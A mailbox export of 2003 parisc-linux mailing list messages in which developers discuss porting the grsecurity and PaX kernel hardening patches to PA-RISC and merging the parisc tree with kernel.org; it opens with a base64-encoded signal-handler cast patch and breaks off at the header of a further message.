LTEzMzMsNyArMTMzMyw3IEBACiAKIAlzaWdoYW5kID0gcGFyZW50LT5zaWdoYW5kOwogCXNw
aW5fbG9ja19pcnFzYXZlKCZzaWdoYW5kLT5zaWdsb2NrLCBmbGFncyk7Ci0JaWYgKHNpZ2hh
bmQtPmFjdGlvbltTSUdDSExELTFdLnNhLnNhX2hhbmRsZXIgIT0gU0lHX0lHTiAmJgorCWlm
IChzaWdoYW5kLT5hY3Rpb25bU0lHQ0hMRC0xXS5zYS5zYV9oYW5kbGVyICE9ICh2b2lkICop
IFNJR19JR04gJiYKIAkgICAgIShzaWdoYW5kLT5hY3Rpb25bU0lHQ0hMRC0xXS5zYS5zYV9m
bGFncyAmIFNBX05PQ0xEU1RPUCkpCiAJCV9fZ3JvdXBfc2VuZF9zaWdfaW5mbyhTSUdDSExE
LCAmaW5mbywgcGFyZW50KTsKIAkvKgpAQCAtMTU2Nyw5ICsxNTY3LDkgQEAKIAkJfQogCiAJ
CWthID0gJmN1cnJlbnQtPnNpZ2hhbmQtPmFjdGlvbltzaWduci0xXTsKLQkJaWYgKGthLT5z
YS5zYV9oYW5kbGVyID09IFNJR19JR04pIC8qIERvIG5vdGhpbmcuICAqLworCQlpZiAoa2Et
PnNhLnNhX2hhbmRsZXIgPT0gKHZvaWQgKikgU0lHX0lHTikgLyogRG8gbm90aGluZy4gICov
CiAJCQljb250aW51ZTsKLQkJaWYgKGthLT5zYS5zYV9oYW5kbGVyICE9IFNJR19ERkwpIC8q
IFJ1biB0aGUgaGFuZGxlci4gICovCisJCWlmIChrYS0+c2Euc2FfaGFuZGxlciAhPSAodm9p
ZCAqKSBTSUdfREZMKSAvKiBSdW4gdGhlIGhhbmRsZXIuICAqLwogCQkJcmV0dXJuIHNpZ25y
OwogCiAJCS8qCkBAIC0yMDE3LDggKzIwMTcsOCBAQAogCQkgKiAgIChmb3IgZXhhbXBsZSwg
U0lHQ0hMRCksIHNoYWxsIGNhdXNlIHRoZSBwZW5kaW5nIHNpZ25hbCB0bwogCQkgKiAgIGJl
IGRpc2NhcmRlZCwgd2hldGhlciBvciBub3QgaXQgaXMgYmxvY2tlZCIKIAkJICovCi0JCWlm
IChhY3QtPnNhLnNhX2hhbmRsZXIgPT0gU0lHX0lHTiB8fAotCQkgICAgKGFjdC0+c2Euc2Ff
aGFuZGxlciA9PSBTSUdfREZMICYmCisJCWlmIChhY3QtPnNhLnNhX2hhbmRsZXIgPT0gKHZv
aWQgKikgU0lHX0lHTiB8fAorCQkgICAgKGFjdC0+c2Euc2FfaGFuZGxlciA9PSAodm9pZCAq
KSBTSUdfREZMICYmCiAJCSAgICAgc2lnX2tlcm5lbF9pZ25vcmUoc2lnKSkpIHsKIAkJCS8q
CiAJCQkgKiBUaGlzIGlzIGEgZmFpcmx5IHJhcmUgY2FzZSwgc28gd2Ugb25seSB0YWtlIHRo
ZQotLS0ga2VybmVsL3dvcmtxdWV1ZS5jCTIwMDMvMDQvMDMgMDk6NDg6NDQJMS4xCisrKyBr
ZXJuZWwvd29ya3F1ZXVlLmMJMjAwMy8wNC8wMyAwOTo1Njo0OApAQCAtMTgzLDcgKzE4Myw3
IEBACiAJY29tcGxldGUoJnN0YXJ0dXAtPmRvbmUpOwogCiAJLyogSW5zdGFsbCBhIGhhbmRs
ZXIgc28gU0lHQ0xEIGlzIGRlbGl2ZXJlZCAqLwotCXNhLnNhLnNhX2hhbmRsZXIgPSBTSUdf
SUdOOworCXNhLnNhLnNhX2hhbmRsZXIgPSAodm9pZCAqKSBTSUdfSUdOOwogCXNhLnNhLnNh
X2ZsYWdzID0gMDsKIAlzaWdpbml0c2V0KCZzYS5zYS5zYV9tYXNrLCBzaWdtYXNrKFNJR0NI
TEQpKTsKIAlkb19zaWdhY3Rpb24oU0lHQ0hMRCwgJnNhLCAoc3RydWN0IGtfc2lnYWN0aW9u
ICopMCk7Ci0tLSBuZXQvc3VucnBjL2NsbnQuYwkyMDAzLzA0LzAzIDA5OjQ4OjU0CTEuMQor
KysgbmV0L3N1bnJwYy9jbG50LmMJMjAwMy8wNC8wMyAwOTo1NzoxMApAQCAtMjU1LDkgKzI1
NSw5IEBACiAJLyogVHVybiBvZmYgdmFyaW91cyBzaWduYWxzICovCiAJaWYgKGNsbnQtPmNs
X2ludHIpIHsKIAkJc3RydWN0IGtfc2lnYWN0aW9uICphY3Rpb24gPSBjdXJyZW50LT5zaWdo
YW5kLT5hY3Rpb247Ci0JCWlmIChhY3Rpb25bU0lHSU5ULTFdLnNhLnNhX2hhbmRsZXIgPT0g
U0lHX0RGTCkKKwkJaWYgKGFjdGlvbltTSUdJTlQtMV0uc2Euc2FfaGFuZGxlciA9PSAodm9p
ZCAqKSBTSUdfREZMKQogCQkJc2lnYWxsb3cgfD0gc2lnbWFzayhTSUdJTlQpOwotCQlpZiAo
YWN0aW9uW1NJR1FVSVQtMV0uc2Euc2FfaGFuZGxlciA9PSBTSUdfREZMKQorCQlpZiAoYWN0
aW9uW1NJR1FVSVQtMV0uc2Euc2FfaGFuZGxlciA9PSAodm9pZCAqKSBTSUdfREZMKQogCQkJ
c2lnYWxsb3cgfD0gc2lnbWFzayhTSUdRVUlUKTsKIAl9CiAJc3Bpbl9sb2NrX2lycXNhdmUo
JmN1cnJlbnQtPnNpZ2hhbmQtPnNpZ2xvY2ssIGlycWZsYWdzKTsKLS0tIHNjcmlwdHMva2Nv
bmZpZy9tY29uZi5jCTIwMDMvMDQvMDMgMDk6NDk6MDQJMS4xCisrKyBzY3JpcHRzL2tjb25m
aWcvbWNvbmYuYwkyMDAzLzA0LzAzIDA5OjU3OjQ3CkBAIC0yMTMsNyArMjEzLDcgQEAKIAlz
aWdhZGRzZXQoJnNzZXQsIFNJR0lOVCk7CiAJc2lncHJvY21hc2soU0lHX0JMT0NLLCAmc3Nl
dCwgJm9zc2V0KTsKIAotCXNpZ25hbChTSUdJTlQsIFNJR19ERkwpOworCXNpZ25hbChTSUdJ
TlQsICh2b2lkICopIFNJR19ERkwpOwogCiAJc2Euc2FfaGFuZGxlciA9IHdpbmNoX2hhbmRs
ZXI7CiAJc2lnZW1wdHlzZXQoJnNhLnNhX21hc2spOwo=

--STEFAN3e93cd963d63--




From - Thu Nov 08 21:27:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Alexander Gabert" <pappy@nikita.ath.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] parisc-linux.org kernel
Date: Wed, 9 Apr 2003 09:54:36 +0200 (CEST)
Lines: 75
Approved: news@gmane.org
Message-ID: <52352.145.253.137.30.1049874876.squirrel@nikita.ath.cx>
References: <20030408165306.GA15433@nikita.ath.cx>
        <20030408165825.GB23430@parcelfarce.linux.theplanet.co.uk>
        <20030408170612.GA15497@nikita.ath.cx>
        <20030408170839.GC23430@parcelfarce.linux.theplanet.co.uk>
        <20030409054929.GB21306@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622373 24526 80.91.229.3 (22 Nov 2014 02:12:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:53 +0000 (UTC)
Cc: <willy@debian.org>, <parisc-linux@parisc-linux.org>,
	<grundler@dsl2.external.hp.com>
To: <grsecurity@grsecurity.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr  9 01:54:28 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mailout07.sul.t-online.com (mailout07.sul.t-online.com [194.25.134.83])
	by dsl2.external.hp.com (Postfix) with ESMTP id EE4A64829
	for <parisc-linux@parisc-linux.org>; Wed,  9 Apr 2003 01:54:27 -0600 (MDT)
Original-Received: from fwd04.sul.t-online.de 
	by mailout07.sul.t-online.com with smtp 
	id 193APV-0006lt-01; Wed, 09 Apr 2003 09:54:21 +0200
Original-Received: from nikita.ath.cx (510056047278-0001@[217.89.2.187]) by fmrl04.sul.t-online.com
	with esmtp id 193APA-1FuL6eC; Wed, 9 Apr 2003 09:54:00 +0200
Original-Received: from nikita.ath.cx (localhost [127.0.0.1])
	by nikita.ath.cx (8.12.3/8.12.3/Debian-5) with SMTP id h397s50H018416;
	Wed, 9 Apr 2003 09:54:14 +0200
Original-Received: from 145.253.137.30 (proxying for unknown)
        (SquirrelMail authenticated user pappy)
        by nikita.ath.cx with HTTP;
        Wed, 9 Apr 2003 09:54:36 +0200 (CEST)
In-Reply-To: <20030409054929.GB21306@dsl2.external.hp.com>
X-Priority: 3
Importance: Normal
X-MSMail-Priority: Normal
X-Mailer: SquirrelMail (version 1.2.6)
X-Sender: 510056047278-0001@t-dialin.net
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18216

hello from cold dark wet germany,


okay, after getting all the people together on one "desk", now here is the
essential question to Brad and his team:
when will we have a 2.5.* Patch for grsecurity?


background:
Alan Cox and Matthew Wilcox wouldn`t mind if someone tries to merge both
2.4.*.
but i don`t mind if it takes 2 months or more until we have a kernel.org
2.5 patch that
a) the grsec patch applies without hunks on unified 2.5 parisc source
b) parisc-linux.org is then mainstreamed in 2.5 and will discontinue
"split development"c) parisc-linux kernel _boots_ and _works_ and is _continued_ to be
developed in _MAINSTREAM_ not in parisc-linux.org CVS
i want that to happen anyway.  not just for grsec patches.
it is a sad joke that parisc-linux.org kernels are good and the kernel.org
parisc source is just a silly excuse for not having the parisc-linux.org
sources melt in.  sorry for that.
Grant Grundler said:
> On Tue, Apr 08, 2003 at 06:08:39PM +0100, Matthew Wilcox wrote:
>> bits and pieces are being merged from the parisc tree into marcelo's
>> tree, but it's just not worth fighting to get this stuff merged.

right, in this stadium i can "oversee" the necessary patches:

i strip the nonparisc, multiplatform support away with a perl script,
fiddle with about 3-4 hunks that have to be taken out because they already
exist in parisc source (for example latest ptrace kernel exploit), another
6-10 "look at it and try to intelligently put it into the slightly
different parisc source" and the rest is "make up" like double insertions,
typos and the like :-)
> If anyone is interested in "fighting" to merge the outstanding
> parisc linux changes, I can help a bit. I just don't have as much time
> these days...hopefully more this summer.

okay, i get you.

> To willy's credit, he's attempted to merge 2.4 parisc changes upstream
> at least twice but was torpedo'd both times.

i don`t want to know ;-)

>> we're mostly
>> merged for 2.5 and i'd rather spend my time working on that.

okay, this basically means to wait for a 2.5.* grsec patch and in the
meantime continue hacking in the grsec patches by hand, which is just what
i would prefer as the way to go for the next months.
> me too - I'd rather see you working on something you care about.
> I'm very happy to see you (and several others) taking good care of 2.5.
> And I think it's a bit much for anyone to do both - that's mostly why I
> *haven't* been doing much with 2.5.
>
> thanks,
> grant

with the help of the PaX team, yesterday i managed to get the 199f patch
going on my 712, with all GRKERNSEC* options enabled but just a little
PAGEEXEC "brute disabled routine" in binfmt_elf.c that inverses the
behaviour of chpax -p, i will get into that later today when i come home.
http://nikita.ath.cx/users/pappy/grsec/199f/parisc-linux-2.4.20-pa32-grsecurity-1.9.9f-parisc-only.patch
thanks for your support and that you are dealing with this issue so
friendly and open minded.

bye,


Alex





From - Thu Nov 08 21:27:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] parisc-linux.org kernel
Date: Wed, 9 Apr 2003 09:47:32 -0600
Lines: 55
Approved: news@gmane.org
Message-ID: <20030409154732.GB4503@dsl2.external.hp.com>
References: <20030408165306.GA15433@nikita.ath.cx> <20030408165825.GB23430@parcelfarce.linux.theplanet.co.uk> <20030408170612.GA15497@nikita.ath.cx> <20030408170839.GC23430@parcelfarce.linux.theplanet.co.uk> <20030409054929.GB21306@dsl2.external.hp.com> <52352.145.253.137.30.1049874876.squirrel@nikita.ath.cx>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622374 24529 80.91.229.3 (22 Nov 2014 02:12:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:54 +0000 (UTC)
Cc: grsecurity@grsecurity.net, willy@debian.org,
	parisc-linux@parisc-linux.org
To: Alexander Gabert <pappy@nikita.ath.cx>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr  9 09:47:32 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 7EB554829; Wed,  9 Apr 2003 09:47:32 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <52352.145.253.137.30.1049874876.squirrel@nikita.ath.cx>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18217

On Wed, Apr 09, 2003 at 09:54:36AM +0200, Alexander Gabert wrote:
> background:
> b) parisc-linux.org is then mainstreamed in 2.5 and will discontinue
> "split development"c) parisc-linux kernel _boots_ and _works_ and is _continued_ to be
> developed in _MAINSTREAM_ not in parisc-linux.org CVS
> i want that to happen anyway.  not just for grsec patches.
> it is a sad joke that parisc-linux.org kernels are good and the kernel.org
> parisc source is just a silly excuse for not having the parisc-linux.org
> sources melt in.  sorry for that.

No - you don't understand the roles of the various trees.

The CVS on parisc-linux.org will *always* be authoritative tree
for parisc-linux. It should be considered a "developement" branch
for kernel.org. This is true for nearly every architecture
except i386 (and alpha?) which are maintained by issueing
a patch against kernel.org.


> right, in this stadium i can "oversee" the necessary patches:
> 
> i strip the nonparisc, multiplatform support away with a perl script,
> fiddle with about 3-4 hunks that have to be taken out because they already
> exist in parisc source (for example latest ptrace kernel exploit), another
> 6-10 "look at it and try to intelligently put it into the slightly
> different parisc source" and the rest is "make up" like double insertions,
> typos and the like :-)

Oh cool - so it's not as bad as I thought...can you run
diffstat on the various "hunks" you've got?

> >> we're mostly
> >> merged for 2.5 and i'd rather spend my time working on that.
> 
> okay, this basically means to wait for a 2.5.* grsec patch and in the
> meantime continue hacking in the grsec patches by hand, which is just what

You hopefully won't have nearly the same problems as with 2.4.
(grsec team working on stale arch/parisc code)

...
> with the help of the PaX team, yesterday i managed to get the 199f patch
> going on my 712, with all GRKERNSEC* options enabled but just a little
> PAGEEXEC "brute disabled routine" in binfmt_elf.c that inverses the
> behaviour of chpax -p, i will get into that later today when i come home.
> http://nikita.ath.cx/users/pappy/grsec/199f/parisc-linux-2.4.20-pa32-grsecurity-1.9.9f-parisc-only.patch

very cool.

> thanks for your support and that you are dealing with this issue so
> friendly and open minded.

thanks too,
grant


From - Thu Nov 08 21:27:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: pageexec@freemail.hu
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] parisc-linux.org kernel
Date: Wed, 09 Apr 2003 19:23:15 +0200
Lines: 22
Approved: news@gmane.org
Message-ID: <3E947323.14900.19F1E3AF@localhost>
References: <20030409054929.GB21306@dsl2.external.hp.com>
Reply-To: pageexec@freemail.hu
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1416622374 24534 80.91.229.3 (22 Nov 2014 02:12:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:54 +0000 (UTC)
Cc: <willy@debian.org>, <parisc-linux@parisc-linux.org>,
	<grundler@dsl2.external.hp.com>
To: grsecurity@grsecurity.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr  9 11:23:22 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mwinf0203.wanadoo.fr (smtp5.wanadoo.fr [193.252.22.29])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4DF174829
	for <parisc-linux@parisc-linux.org>; Wed,  9 Apr 2003 11:23:22 -0600 (MDT)
Original-Received: from ANGEL (APastourelles-107-1-10-73.abo.wanadoo.fr [193.252.200.73])
	by mwinf0203.wanadoo.fr (SMTP Server) with ESMTP
	id 300541000576; Wed,  9 Apr 2003 19:23:20 +0200 (CEST)
Priority: normal
In-reply-to: <52352.145.253.137.30.1049874876.squirrel@nikita.ath.cx>
X-mailer: Pegasus Mail for Windows (v4.02a)
Content-description: Mail message body
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18218

> okay, after getting all the people together on one "desk", now here is the
> essential question to Brad and his team:
> when will we have a 2.5.* Patch for grsecurity?

i can speak for the PaX part only, and the answer is that "i don't know".
personally, i'll be interested in porting PaX to 2.6 when it's actually
out and working stable (enough). but that's not the only limiting factor
in our case, the several big changes to the linux VM make it absolutely
not trivial to port PaX (huge page support, rmap, accounting, non-linear
mappings, UML, etc). if you really need a timeframe, i'd say maybe in 6
months (give or take a few) i'll look at the situation again.

> > To willy's credit, he's attempted to merge 2.4 parisc changes upstream
> > at least twice but was torpedo'd both times.
> 
> i don`t want to know ;-)

actually, i'd like to (feel free to answer off-list), since for all the
other archs grsec/PaX runs on we could compile a working kernel from the
vanilla tree - it just seems a mystery why parisc is an exception (not
blaming anyone, just would like to see it more clear).


From - Thu Nov 08 21:27:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] parisc-linux.org kernel
Date: Wed, 9 Apr 2003 18:40:34 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <20030409174034.GJ23430@parcelfarce.linux.theplanet.co.uk>
References: <20030409054929.GB21306@dsl2.external.hp.com> <3E947323.14900.19F1E3AF@localhost>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622374 24541 80.91.229.3 (22 Nov 2014 02:12:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:54 +0000 (UTC)
Cc: grsecurity@grsecurity.net, willy@debian.org,
	parisc-linux@parisc-linux.org, grundler@dsl2.external.hp.com
To: pageexec@freemail.hu
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr  9 11:40:36 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id F2A464829
	for <parisc-linux@parisc-linux.org>; Wed,  9 Apr 2003 11:40:35 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 193JYo-0001K0-5e; Wed, 09 Apr 2003 18:40:34 +0100
Content-Disposition: inline
In-Reply-To: <3E947323.14900.19F1E3AF@localhost>
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18219

On Wed, Apr 09, 2003 at 07:23:15PM +0200, pageexec@freemail.hu wrote:
> actually, i'd like to (feel free to answer off-list), since for all the
> other archs grsec/PaX runs on we could compile a working kernel from the
> vanilla tree - it just seems a mystery why parisc is an exception (not
> blaming anyone, just would like to see it more clear).

perhaps PaX doesn't support sparc32, m68k, arm, mips, mips64, ia64,
s390, s390x or x86-64 since i know all those architectures have patches
on top of the kernel.org tree.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:27:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] parisc-linux.org kernel
Date: Wed, 9 Apr 2003 18:48:03 +0100
Lines: 12
Approved: news@gmane.org
Message-ID: <20030409174803.GM23430@parcelfarce.linux.theplanet.co.uk>
References: <20030409054929.GB21306@dsl2.external.hp.com> <3E947323.14900.19F1E3AF@localhost>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622375 24544 80.91.229.3 (22 Nov 2014 02:12:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:55 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org, grundler@dsl2.external.hp.com
To: pageexec@freemail.hu
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr  9 11:48:04 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 74E454829
	for <parisc-linux@parisc-linux.org>; Wed,  9 Apr 2003 11:48:04 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 193Jg3-0001P9-Hx; Wed, 09 Apr 2003 18:48:03 +0100
Content-Disposition: inline
In-Reply-To: <3E947323.14900.19F1E3AF@localhost>
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18220

Warning.  If you reply to this message you get some arsehole reply from
the mailing list software.  I strongly recommend not working with this
bunch of pricks who can't even run a mailing list.

On Wed, Apr 09, 2003 at 07:23:15PM +0200, pageexec@freemail.hu wrote:


-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:27:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: pageexec@freemail.hu
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] parisc-linux.org kernel
Date: Wed, 09 Apr 2003 20:20:47 +0200
Lines: 12
Approved: news@gmane.org
Message-ID: <3E94809F.20238.1A268F91@localhost>
References: <3E947323.14900.19F1E3AF@localhost>
Reply-To: pageexec@freemail.hu
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1416622375 24547 80.91.229.3 (22 Nov 2014 02:12:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:55 +0000 (UTC)
Cc: willy@debian.org, parisc-linux@parisc-linux.org,
	grundler@dsl2.external.hp.com
To: grsecurity@grsecurity.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr  9 12:20:54 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mwinf0203.wanadoo.fr (smtp5.wanadoo.fr [193.252.22.29])
	by dsl2.external.hp.com (Postfix) with ESMTP id B559E4829
	for <parisc-linux@parisc-linux.org>; Wed,  9 Apr 2003 12:20:53 -0600 (MDT)
Original-Received: from ANGEL (APastourelles-107-1-10-73.abo.wanadoo.fr [193.252.200.73])
	by mwinf0203.wanadoo.fr (SMTP Server) with ESMTP
	id 55A401000456; Wed,  9 Apr 2003 20:20:52 +0200 (CEST)
Priority: normal
In-reply-to: <20030409174034.GJ23430@parcelfarce.linux.theplanet.co.uk>
X-mailer: Pegasus Mail for Windows (v4.02a)
Content-description: Mail message body
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18221

> perhaps PaX doesn't support sparc32, m68k, arm, mips, mips64, ia64,
> s390, s390x or x86-64 since i know all those architectures have patches
> on top of the kernel.org tree.

of the above sparc32 is supported right now (with the vanilla tree),
ia64 and x86-84 could be supported (if we had the hw, and i don't know
how well the vanilla tree works on them), for the rest there was either
no interest so far or it's not possible (at least the non-exec pages,
randomization is arch independent). anyway, once we get PaX on parisc
to work, i think Alex will take care of the parisc-linux.org patches
(he's already testing with that after all), so this won't be an issue.


From - Thu Nov 08 21:27:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "PRINCE. PERRUCCI NNIGA" <nperrucci5@kukamail.com>
